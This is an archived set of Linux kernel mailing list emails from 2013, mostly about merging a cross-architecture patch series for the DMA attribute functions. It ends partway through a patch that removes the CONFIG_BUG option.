Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369190265 26657 80.91.229.3 (22 May 2013 02:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 May 2013 02:37:45 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-s390@vger.kernel.org,
	catalin.marinas@arm.com, will.deacon@arm.com,
	linux-arm-kernel@lists.infradead.org, msalter@redhat.com,
	linux-c6x-dev@linux-c6x.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 22 04:37:43 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ueyvu-000617-AA
	for glk-linux-kernel-3@plane.gmane.org; Wed, 22 May 2013 04:37:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754975Ab3EVChV (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 21 May 2013 22:37:21 -0400
Original-Received: from mail-da0-f51.google.com ([209.85.210.51]:45736 "EHLO
	mail-da0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754934Ab3EVChS (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 21 May 2013 22:37:18 -0400
Original-Received: by mail-da0-f51.google.com with SMTP id h15so828438dan.10
        for <linux-kernel@vger.kernel.org>; Tue, 21 May 2013 19:37:17 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=17JuDEO1eHFoWh5rji0PpAg0SK+twL6qgzP9Vf852V8=;
        b=Uqr+BKWWx2pKoA0lLq4P0Jkr0nQ5hPYMeBqK19RFB30Fw0LsFQKsIvxEuzLE8BMpJL
         RTEaRQFlDgzG47+fww8kPdZ6su/5MQ4bpbcD/Vk/5NAtQpwDkc5eBL7fush3dYNVra9i
         2C+TKUV89HGioiwknlzIEMwY7xuR3F3TuZWlW9Qs205JQJwJdtm7r4/BHGCfJZGbnzQj
         mcchgql9rO5PzEfTzgEEUo/OtWusELvtynB9TJLEB/wG+I5NYjN6LAsfjmu/LXln5N5A
         3qcxrqKb93TZ6837KobNdVwNMMBEbJB7x7YURRAl47WgiPIPz8Uw6eH9IS8RE1RBdDqK
         a6Bg==
X-Received: by 10.68.218.8 with SMTP id pc8mr5510027pbc.115.1369190237311;
        Tue, 21 May 2013 19:37:17 -0700 (PDT)
Original-Received: from [10.16.129.176] ([219.106.231.132])
        by mx.google.com with ESMTPSA id if5sm5097830pbb.31.2013.05.21.19.37.14
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 21 May 2013 19:37:16 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp>
X-Enigmail-Version: 1.5.1
X-Gm-Message-State: ALoCoQkUxFhyTv8L8tWzb03Eb69xr4FlYEIE8LYZG9agFau1yBcp/ly1FurbWpB93Q52a1kQ/Mml
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1494685 gmane.linux.ports.arm.kernel:238135 gmane.linux.ports.parisc:5047
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1494685>

Hello,
On 2013/04/30 12:01, Damian Hobson-Garcia wrote:
> Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
> both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
> not define CONFIG_HAVE_DMA also have both of these definitions provided by
> dma-mapping-broken.h.
> 
> Provide a default definition for the archs that define CONFIG_HAVE_DMA=y,
> but have no implementation for dma_{alloc,free}_attrs(). 
> 
> As I don't have hardware for any of these systems, the patches are only
> compile-tested where I could (arm64, s390) and untested for the archs
> where I couldn't find a readily available prebuilt cross-compiler (c6x, parisc).
> 


>  arch/arm64/include/asm/dma-mapping.h  |   17 +++++++++++------
>  arch/c6x/include/asm/dma-mapping.h    |    3 +++
>  arch/parisc/include/asm/dma-mapping.h |    3 +++
>  arch/s390/include/asm/dma-mapping.h   |   17 +++++++++++------
>  4 files changed, 28 insertions(+), 12 deletions(-)
> 

Since this series spans several architectures, what would be the best
way to have this patch series merged?
Should I resubmit each patch to the mailing list for each architecture
separately?

Thank you,
Damian

-- 
Damian Hobson-Garcia
IGEL Co.,Ltd
http://www.igel.co.jp

From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs()
 for all archs
Date: Wed, 22 May 2013 10:47:41 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20130522094741.GE14322@arm.com>
References: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp>
 <519C2F5D.8000809@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369216108 5594 80.91.229.3 (22 May 2013 09:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 May 2013 09:48:28 +0000 (UTC)
Cc: "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
 "deller@gmx.de" <deller@gmx.de>, Will Deacon <Will.Deacon@arm.com>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 "msalter@redhat.com" <msalter@redhat.com>,
 "linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>
To: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed May 22 11:48:28 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1Uf5el-0004VS-Nm
	for linux-arm-kernel@m.gmane.org; Wed, 22 May 2013 11:48:27 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Uf5eg-0001oF-L3; Wed, 22 May 2013 09:48:22 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Uf5ed-0003vF-P6; Wed, 22 May 2013 09:48:19 +0000
Original-Received: from fw-tnat.cambridge.arm.com ([217.140.96.21]
 helo=cam-smtp0.cambridge.arm.com)
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1Uf5ea-0003tX-IY
 for linux-arm-kernel@lists.infradead.org; Wed, 22 May 2013 09:48:17 +0000
Original-Received: from arm.com (e102109-lin.cambridge.arm.com [10.1.203.38])
 by cam-smtp0.cambridge.arm.com (8.13.8/8.13.8) with ESMTP id r4M9lmpn005396;
 Wed, 22 May 2013 10:47:48 +0100
Content-Disposition: inline
In-Reply-To: <519C2F5D.8000809@igel.co.jp>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130522_054816_845126_B84B1CAC 
X-CRM114-Status: GOOD (  17.83  )
X-Spam-Score: -3.7 (---)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-3.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.140.96.21 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:238183 gmane.linux.ports.parisc:5048 gmane.linux.kernel:1494895
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/238183>

On Wed, May 22, 2013 at 03:37:17AM +0100, Damian Hobson-Garcia wrote:
> Hello,
> On 2013/04/30 12:01, Damian Hobson-Garcia wrote:
> > Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
> > both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
> > not define CONFIG_HAVE_DMA also have both of these definitions provided by
> > dma-mapping-broken.h.

BTW, shouldn't this be called CONFIG_HAVE_DMA_ATTRS?

> > Provide a default definition for the archs that define CONFIG_HAVE_DMA=y,
> > but have no implementation for dma_{alloc,free}_attrs(). 
> > 
> > As I don't have hardware for any of these systems, the patches are only
> > compile-tested where I could (arm64, s390) and untested for the archs
> > where I couldn't find a readily available prebuilt cross-compiler (c6x, parisc).
> 
> >  arch/arm64/include/asm/dma-mapping.h  |   17 +++++++++++------
> >  arch/c6x/include/asm/dma-mapping.h    |    3 +++
> >  arch/parisc/include/asm/dma-mapping.h |    3 +++
> >  arch/s390/include/asm/dma-mapping.h   |   17 +++++++++++------
> >  4 files changed, 28 insertions(+), 12 deletions(-)
> > 
> 
> Since this series spans several architectures, what would be the best
> way to have this patch series merged?
> Should I resubmit each patch to the mailing list for each architecture
> separately?

I'm happy to take the arm64 patch.

Thanks.

-- 
Catalin

From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs() for
 all archs
Date: Wed, 22 May 2013 20:19:37 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <519D0C39.6090201@gmx.de>
References: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp> <519C2F5D.8000809@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369246794 31091 80.91.229.3 (22 May 2013 18:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 May 2013 18:19:54 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-s390@vger.kernel.org,
	catalin.marinas@arm.com, will.deacon@arm.com,
	linux-arm-kernel@lists.infradead.org, msalter@redhat.com,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org
To: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 22 20:19:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UfDdg-0000Xi-Ft
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 May 2013 20:19:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751696Ab3EVSTo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 May 2013 14:19:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:54083 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756654Ab3EVSTn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 May 2013 14:19:43 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.1]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MVXbV-1UyIs533y3-00Z21w for
 <linux-parisc@vger.kernel.org>; Wed, 22 May 2013 20:19:42 +0200
Original-Received: (qmail invoked by alias); 22 May 2013 18:19:42 -0000
Original-Received: from p54AD03FE.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.3.254]
  by mail.gmx.net (mp001) with SMTP; 22 May 2013 20:19:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19Rftd4tVdRqpL3LCVw4ZL4k2L9e6b4CVApd+kowU
	EmEWE3tNPdeAoN
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <519C2F5D.8000809@igel.co.jp>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5050 gmane.linux.kernel:1495181 gmane.linux.ports.arm.kernel:238349
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5050>

On 05/22/2013 04:37 AM, Damian Hobson-Garcia wrote:
> Hello,
> On 2013/04/30 12:01, Damian Hobson-Garcia wrote:
>> Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
>> both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
>> not define CONFIG_HAVE_DMA also have both of these definitions provided by
>> dma-mapping-broken.h.
>>
>> Provide a default definition for the archs that define CONFIG_HAVE_DMA=y,
>> but have no implementation for dma_{alloc,free}_attrs(). 
>>
>> As I don't have hardware for any of these systems, the patches are only
>> compile-tested where I could (arm64, s390) and untested for the archs
>> where I couldn't find a readily available prebuilt cross-compiler (c6x, parisc).
>>
> 
> 
>>  arch/arm64/include/asm/dma-mapping.h  |   17 +++++++++++------
>>  arch/c6x/include/asm/dma-mapping.h    |    3 +++
>>  arch/parisc/include/asm/dma-mapping.h |    3 +++
>>  arch/s390/include/asm/dma-mapping.h   |   17 +++++++++++------
>>  4 files changed, 28 insertions(+), 12 deletions(-)
>>
> 
> Since this series spans several architectures, what would be the best
> way to have this patch series merged?
> Should I resubmit each patch to the mailing list for each architecture
> separately?

I already pushed the parisc change upstream.
See commit 7f64fb41aad9a8504dd76e81b2391eae64e1498a

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs() for
 all archs
Date: Thu, 23 May 2013 11:47:13 +0900
Lines: 55
Approved: news@gmane.org
Message-ID: <519D8331.3060203@igel.co.jp>
References: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp> <519C2F5D.8000809@igel.co.jp> <20130522094741.GE14322@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369277237 6578 80.91.229.3 (23 May 2013 02:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 02:47:17 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Will Deacon <Will.Deacon@arm.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"msalter@redhat.com" <msalter@redhat.com>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Catalin Marinas <catalin.marinas@arm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 23 04:47:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UfLYg-0002Xj-J5
	for glpp-linux-parisc@plane.gmane.org; Thu, 23 May 2013 04:47:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757285Ab3EWCrO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 May 2013 22:47:14 -0400
Original-Received: from mail-pa0-f49.google.com ([209.85.220.49]:37611 "EHLO
	mail-pa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757196Ab3EWCrN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 May 2013 22:47:13 -0400
Original-Received: by mail-pa0-f49.google.com with SMTP id bi5so2471346pad.36
        for <linux-parisc@vger.kernel.org>; Wed, 22 May 2013 19:47:12 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=Vy1LB4HnHstVbRW3POyiTWfLdy1MhZWSqL49TDiZdwQ=;
        b=KalZ0pMcTkOKTVCGAYY2xauOme8FYgyBDyB9VHBK0qCrgV/fBdV0iV8qXaDpFBmjxB
         3h03QB7zYIZ57kzhMJlqT+JNsNMbgpA3maIXfMuSpzihbHUGxnNe//HeW6oHzKvMI/E5
         /7RzBRRMmgKu5zTBzdzaGoSP9nVfOR1MSAVwf0txUfZm6P1AitXIy7RqO9GG1SZuhnps
         QQfhInmgmn3vGwWIbXXO0CQBUDd/MrJolN8aky/ZgCw6Iu0CICLvBnBNnIcnA1urWC+j
         +XJKYb27yS5YkFfPAvr7qFb9R+iUWpJ6r1Z7nPU73I5NGwX3j9cTTHJpDfoqLml4NugE
         YQrA==
X-Received: by 10.66.248.40 with SMTP id yj8mr10971702pac.95.1369277232498;
        Wed, 22 May 2013 19:47:12 -0700 (PDT)
Original-Received: from [10.16.129.176] ([219.106.231.132])
        by mx.google.com with ESMTPSA id fr1sm9640382pbb.26.2013.05.22.19.47.10
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 22 May 2013 19:47:11 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130509 Thunderbird/17.0.6
In-Reply-To: <20130522094741.GE14322@arm.com>
X-Enigmail-Version: 1.5.1
X-Gm-Message-State: ALoCoQlsMK4tbBgRhO/+QC/8ZOLdNAoTWZb5mABp25UgJgcFjUX4AWFBWl3yvhPPsJbqyYNG9E0E
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5051 gmane.linux.kernel:1495440 gmane.linux.ports.arm.kernel:238406
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5051>

Hi Catalin,
On 2013/05/22 18:47, Catalin Marinas wrote:
> On Wed, May 22, 2013 at 03:37:17AM +0100, Damian Hobson-Garcia wrote:
>> Hello,
>> On 2013/04/30 12:01, Damian Hobson-Garcia wrote:
>>> Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
>>> both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
>>> not define CONFIG_HAVE_DMA also have both of these definitions provided by
>>> dma-mapping-broken.h.
> 
> BTW, shouldn't this be called CONFIG_HAVE_DMA_ATTRS?

CONFIG_HAVE_DMA_ATTRS is currently used to enable the functions to
set/get the DMA attribute values. Poking through the headers, it looks
like the struct dma_attrs is defined regardless of the
CONFIG_HAVE_DMA_ATTRS setting, so in that respect
we always seem to "have" DMA attributes (if we have DMA), but they may
not always be meaningful (ie. set to some value).

> 
>>> Provide a default definition for the archs that define CONFIG_HAVE_DMA=y,
>>> but have no implementation for dma_{alloc,free}_attrs(). 
>>>
>>> As I don't have hardware for any of these systems, the patches are only
>>> compile-tested where I could (arm64, s390) and untested for the archs
>>> where I couldn't find a readily available prebuilt cross-compiler (c6x, parisc).
>>
>>>  arch/arm64/include/asm/dma-mapping.h  |   17 +++++++++++------
>>>  arch/c6x/include/asm/dma-mapping.h    |    3 +++
>>>  arch/parisc/include/asm/dma-mapping.h |    3 +++
>>>  arch/s390/include/asm/dma-mapping.h   |   17 +++++++++++------
>>>  4 files changed, 28 insertions(+), 12 deletions(-)
>>>
>>
>> Since this series spans several architectures, what would be the best
>> way to have this patch series merged?
>> Should I resubmit each patch to the mailing list for each architecture
>> separately?
> 
> I'm happy to take the arm64 patch.
Very much appreciated.

> 
> Thanks.
> 
Damian
-- 
Damian Hobson-Garcia
IGEL Co.,Ltd
http://www.igel.co.jp
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always need
 it.
Date: Thu, 23 May 2013 15:57:35 +0800
Lines: 259
Approved: news@gmane.org
Message-ID: <519DCBEF.3090208@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369295922 24975 80.91.229.3 (23 May 2013 07:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 07:58:42 +0000 (UTC)
Cc: "linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-parisc@vger.kernel.org,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	hskinnemoen@gmail.com, egtvedt@samfundet.no,
	Mike Frysinger <vapier@gentoo.org>, ysato@users.sourceforge.jp,
	rkuo@codeaurora.org, jejb@parisc-linux.org, deller@gmx.de,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"paulus@samba.org" <paulus@samba.org>, schwidefsky@de.ibm.com,
	heiko.carstens@de.ibm.com, linux390@de.ibm.com,
	lethal@linux-sh.org, jdike@addtoit.com, richard@nod.at,
	Thomas Gleixner <tglx@linutronix.de>,
	"mingo@redhat.com" <mingo@redhat.com>, hpa@zytor.com,
	x86@kernel.org, Arnd Bergmann <arnd@arndb.de>,
	"Eric W. Biederman" <ebiederm@xmission.com>,
	Serge Hallyn <serge.hallyn@canonical.com>,
	paulmck@linux.vnet.ibm.com,
	Frederic Weisbecker <fweisbec@gmail.com>,
	David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	akinobu.mita@gmail.com, Catalin Marinas <Catalin.Marinas@arm.com>,
Original-X-From: linux-arch-owner@vger.kernel.org Thu May 23 09:58:36 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1UfQPz-0006JF-1t
	for glka-linux-arch@plane.gmane.org; Thu, 23 May 2013 09:58:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755390Ab3EWH6d (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 23 May 2013 03:58:33 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:10246 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751649Ab3EWH6b (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 23 May 2013 03:58:31 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 4A63B184041B; Thu, 23 May 2013 15:58:27 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 726811840251;
	Thu, 23 May 2013 15:58:25 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:17999 gmane.linux.ports.arm.kernel:238421 gmane.linux.kernel:1495534 gmane.linux.hardware.blackfin.kernel.devel:7083 gmane.linux.ports.hexagon:576 gmane.linux.ports.parisc:5052 gmane.linux.ports.ppc64.devel:90977 gmane.linux.ports.sh.devel:23161 gmane.linux.uml.devel:13915 gmane.linux.uml.user:14471
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/17999>


The crazy user can unset 'CONFIG_BUG' in menuconfig: "> General setup >
Configure standard kernel features (expert users) > BUG() Support".

But in fact, we always need it, and quite a few of architectures have
already implemented it (e.g. alpha, arc, arm, avr32, blackfin, cris,
frv, ia64, m68k, mips, mn10300, parisc, powerpc, s390, sh, sparc, x86).

And kernel also already has prepared a default effective implementation
for the architectures which is unwilling to implement it by themselves
(e.g. arm64, c6x, h8300, hexagon, m32r, metag, microblaze, openrisc,
score, tile, um, unicore32, xtensa).

So need get rid of 'CONFIG_BUG', and let it always enabled everywhere.


Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/arm/Kconfig          |    1 -
 arch/avr32/Kconfig        |    1 -
 arch/blackfin/Kconfig     |    1 -
 arch/h8300/Kconfig        |    1 -
 arch/hexagon/Kconfig      |    1 -
 arch/parisc/Kconfig       |    2 --
 arch/powerpc/Kconfig      |    1 -
 arch/s390/Kconfig         |    2 +-
 arch/sh/Kconfig           |    2 +-
 arch/um/Kconfig.common    |    1 -
